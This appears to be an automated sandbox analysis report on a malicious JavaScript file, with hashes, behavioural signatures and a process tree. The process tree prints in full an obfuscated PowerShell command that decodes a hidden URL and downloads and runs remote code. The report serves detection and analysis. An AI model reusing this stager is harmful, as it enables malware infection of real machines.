Analysis
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max time kernel
93s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 15:07
Static task
static1
Behavioral task
behavioral1
Sample
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js
Resource
win10v2004-20241007-en
General
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Target
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js
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Size
188KB
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MD5
7e9bed6bd4a994c7289b7b38fd417edd
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SHA1
7e74ce18b93f19d4189c3e3ecf1a2b9af00448a1
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SHA256
a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04
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SHA512
c2cbb5db77702e7a2e47a7f8fa87032ad24005c537ed89a883d7cf900df25ee6165160529ba4b2b5d15de8fddd18e7c925c5756a09f6c232a81dfa170e745795
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SSDEEP
1536:nwBMJQ6jzM8w6gfLv5dPxbq+v9gaU7gjzM8w6gfLg5dPxbq+v9gaU7i5dPxbq+v8:nFE8wzrcgE8wYrcMrcVE8wnE8w3
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4748 1952 conhost.exe 85 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 2680 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2680 powershell.exe 2680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2680 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4748 wrote to memory of 2680 4748 conhost.exe 87 PID 4748 wrote to memory of 2680 4748 conhost.exe 87
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a0754183cf4bbab2b8a45ae0d4a5f79f586e7151de4228bad8bc7961719a0d04.js1⤵PID:3240
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C:\Windows\system32\conhost.execonhost --headless powershell $mcugqyfwz='ur' ;new-alias printout c$($mcugqyfwz)l;$ivguklhds=(4752,4763,4771,4755,4757,4752,4772,4771,4776,4709,4771,4705,4752,4700,4770,4765,4766,4701,4703,4700,4766,4758,4766,4717,4769,4715,4763,4759,4764,4770,4769,4704,4703);$qnaytgkbisuj=('bronx','get-cmdlet');$csvbpzgmyorj=$ivguklhds;foreach($qyfodng in $csvbpzgmyorj){$guxmwd=$qyfodng;$yrvnkdfizws=$yrvnkdfizws+[char]($guxmwd-4654);$yhurkpozsntf=$yrvnkdfizws; $yvahpsgzed=$yhurkpozsntf};$cpguhvlfmweka[2]=$yvahpsgzed;$owzfekhi='rl';$kltwue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvahpsgzed)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $mcugqyfwz='ur' ;new-alias printout c$($mcugqyfwz)l;$ivguklhds=(4752,4763,4771,4755,4757,4752,4772,4771,4776,4709,4771,4705,4752,4700,4770,4765,4766,4701,4703,4700,4766,4758,4766,4717,4769,4715,4763,4759,4764,4770,4769,4704,4703);$qnaytgkbisuj=('bronx','get-cmdlet');$csvbpzgmyorj=$ivguklhds;foreach($qyfodng in $csvbpzgmyorj){$guxmwd=$qyfodng;$yrvnkdfizws=$yrvnkdfizws+[char]($guxmwd-4654);$yhurkpozsntf=$yrvnkdfizws; $yvahpsgzed=$yhurkpozsntf};$cpguhvlfmweka[2]=$yvahpsgzed;$owzfekhi='rl';$kltwue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $yvahpsgzed)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2680
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82